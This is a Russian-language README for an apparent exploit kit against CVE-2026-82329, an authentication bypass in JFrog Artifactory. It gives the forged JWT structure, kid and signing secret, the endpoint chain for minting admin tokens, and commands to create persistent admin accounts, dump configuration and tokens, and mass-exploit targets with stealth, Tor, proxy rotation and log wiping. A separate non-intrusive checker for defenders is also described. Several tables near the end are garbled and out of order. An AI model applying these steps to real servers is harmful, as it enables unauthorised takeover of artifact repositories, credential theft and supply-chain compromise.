
Эксплуатационный и детектирующий инструментарий для CVE-2026-82329 — обхода аутентификации в JFrog Artifactory. Подделывает join JWT для выпуска admin-токенов; включает неинтрузивную проверку версии.

ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.
CVE‑2026‑82329 — критическая уязвимость обхода аутентификации в self-hosted JFrog Artifactory (версии 7.111.x – 7.161.x), позволяющая неаутентифицированному злоумышленнику получить полный токен администратора платформы, злоупотребляя механизмом присоединения к кластеру JFrog Access.
32 * 0x20 (пробелы).kid = SHA256("").POST /access/api/v1/registry/join возвращает SERVICE-токен с scp=admin без какой-либо аутентификации.POST /access/api/v1/tokens с scope=applied-permissions/admin&audience=* выдаёт полный токен администратора платформы.| Инструмент | Назначение | Целевой пользователь |
|---|---|---|
exploit.py | Полный боевой набор с подделкой JWT, обменом на admin-токен, созданием административных пользователей, массовым сканированием, стелс-режимом, ротацией прокси, интерактивным меню и полной цепочкой атаки. | Red teams / авторизованные пентестеры |
safechecker.py | Неинтрузивный чекер уязвимости, который определяет версию Artifactory, проверяет экспозицию и оценивает риск без получения какого-либо токена или выполнения какой-либо полезной нагрузки. Генерирует JSON-отчёты. | Blue teams / аудиторы безопасности |
| Возможность | exploit.py | safechecker.py |
|---|---|---|
| Обнаружение уязвимости | ✅ | ✅ |
| Определение версии | ✅ | ✅ |
| Поддельный join JWT | ✅ | ❌ |
| Выпуск service-токена | ✅ | ❌ |
| Обмен на admin-токен | ✅ | ❌ |
| Создание административного пользователя | ✅ | ❌ |
| Список репозиториев | ✅ | ❌ |
| Список пользователей | ✅ | ❌ |
| Дамп конфигурации | ✅ | ❌ |
| Дамп токенов | ✅ | ❌ |
| Полная цепочка атаки | ✅ | ❌ |
| Интерактивное меню | ✅ | ❌ |
| Массовое сканирование (многопоточное) | ✅ | ✅ |
| Поддержка прокси | ✅ | ✅ |
| Ротация прокси | ✅ | ❌ |
| Поддержка Tor (анонимность) | ✅ | ❌ |
| Ротация User-Agent (OPSEC) | ✅ | ❌ |
| Джиттер (OPSEC) | ✅ | ❌ |
| Адаптивный ограничитель скорости | ✅ | ❌ |
| Неинтрузивный (безопасный) режим | ❌ | ✅ |
| Отчёт о версии | ✅ | ✅ |
| Проверка анонимного доступа | ❌ | ✅ |
| JSON-отчёт | ✅ |
| Сценарий | Рекомендуемый инструмент |
|---|---|
| Blue Team – проверка, уязвим ли ваш Artifactory | safechecker.py |
| Аудит безопасности – неинтрузивная оценка уязвимости | safechecker.py |
| Red Team – авторизованное тестирование на проникновение с полной эксплуатацией | exploit.py |
| Bug Bounty – ответственное раскрытие | safechecker.py |
| Массовое сканирование – проверка нескольких целей на уязвимость | exploit.py (только обнаружение) |
| Реагирование на инциденты – проверка, скомпрометированы ли системы | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели Artifactory (например, http://artifactory.example.com:8082) |
-f, --file | Файл со списком целей (по одной в строке) для массового сканирования |
--create-admin | Создать постоянного административного пользователя (формат: USER:PASS) |
--keep-admin | Сохранить созданного административного пользователя (не удалять после сканирования) |
--token-only | Только вывести admin-токен (одна цель) |
--interactive | Интерактивное меню после эксплуатации |
--service-id | Service ID для join JWT (по умолчанию: jfrt@01) |
-t, --threads | Количество потоков для нескольких целей (по умолчанию: 10) |
--timeout | Таймаут запроса (по умолчанию: 25с) |
--retry | Максимум повторных попыток (по умолчанию: 3) |
--proxy | HTTP/HTTPS прокси (например, http://127.0.0.1:8080) |
--proxy-list | Файл с прокси для ротации (по одному в строке) |
--jitter | Случайный джиттер (0‑2 сек) между запросами |
--stealth | Включить стелс-режим (ротация UA + X-Forwarded-For) |
--curl-cffi | Использовать curl_cffi для имперсонации TLS-отпечатка |
--full | Полная атака: все модули |
--dump-config | Дамп системной конфигурации |
--dump-tokens | Дамп всех токенов доступа |
--list-repos | Список репозиториев |
--list-users | Список пользователей |
safechecker.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели Artifactory (например, http://artifactory.example.com:8082) |
-f, --file | Файл со списком целей (по одной в строке) |
-t, --threads | Количество потоков для нескольких целей (по умолчанию: 5) |
--timeout | Таймаут запроса (по умолчанию: 10с) |
-v, --verbose | Подробный вывод |
-o, --output | Сохранить JSON-отчёт в файл |
| # | Сценарий | Команда |
|---|---|---|
| 1 | Быстрая проверка уязвимости | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | Детальное сканирование с отчётом | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | Массовый аудит из файла | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | Эксплойт только для обнаружения | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | Получить только admin-токен | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | Полная атака с интерактивным меню | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | Создать постоянного административного пользователя | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | Дамп конфигурации | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | Список репозиториев и пользователей | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | Массовая эксплуатация со стелсом | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Ротация прокси с Tor | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
Эксплойт использует следующие конечные точки JFrog и шаги эксплуатации:
| Шаг | Метод | Конечная точка | Описание |
|---|---|---|---|
| 1. Join | POST | /access/api/v1/registry/join | Поддельный HS256 JWT → SERVICE-токен (scp=admin) |
| 2. Exchange | POST | /access/api/v1/tokens | SERVICE-токен → токен администратора платформы |
| 3. Prove | GET | /artifactory/api/system/configuration | Доказательство доступа только для администратора |
| 4. Persist | PUT | /artifactory/api/security/users/{user} | Создать постоянного административного пользователя |
| 5. Revoke | DELETE | /access/api/v1/tokens/{id} | Очистка созданных токенов |
# Forged join JWT structure
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# Signing secret
secret = b"\x20" * 32
# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.
| ✅ |
| Очистка логов (антифорензика) | ✅ | ❌ |
| Пользовательский User-Agent | ✅ | ✅ |
| Управление проверкой SSL | ✅ | ✅ |
--detect| Только обнаружение (без обмена на admin-токен) |
--exploit | Выполнить полную эксплуатацию |
-o, --output | Сохранить JSON-отчёт в файл |
-v, --verbose | Подробный вывод |
-q, --quiet | Тихий режим |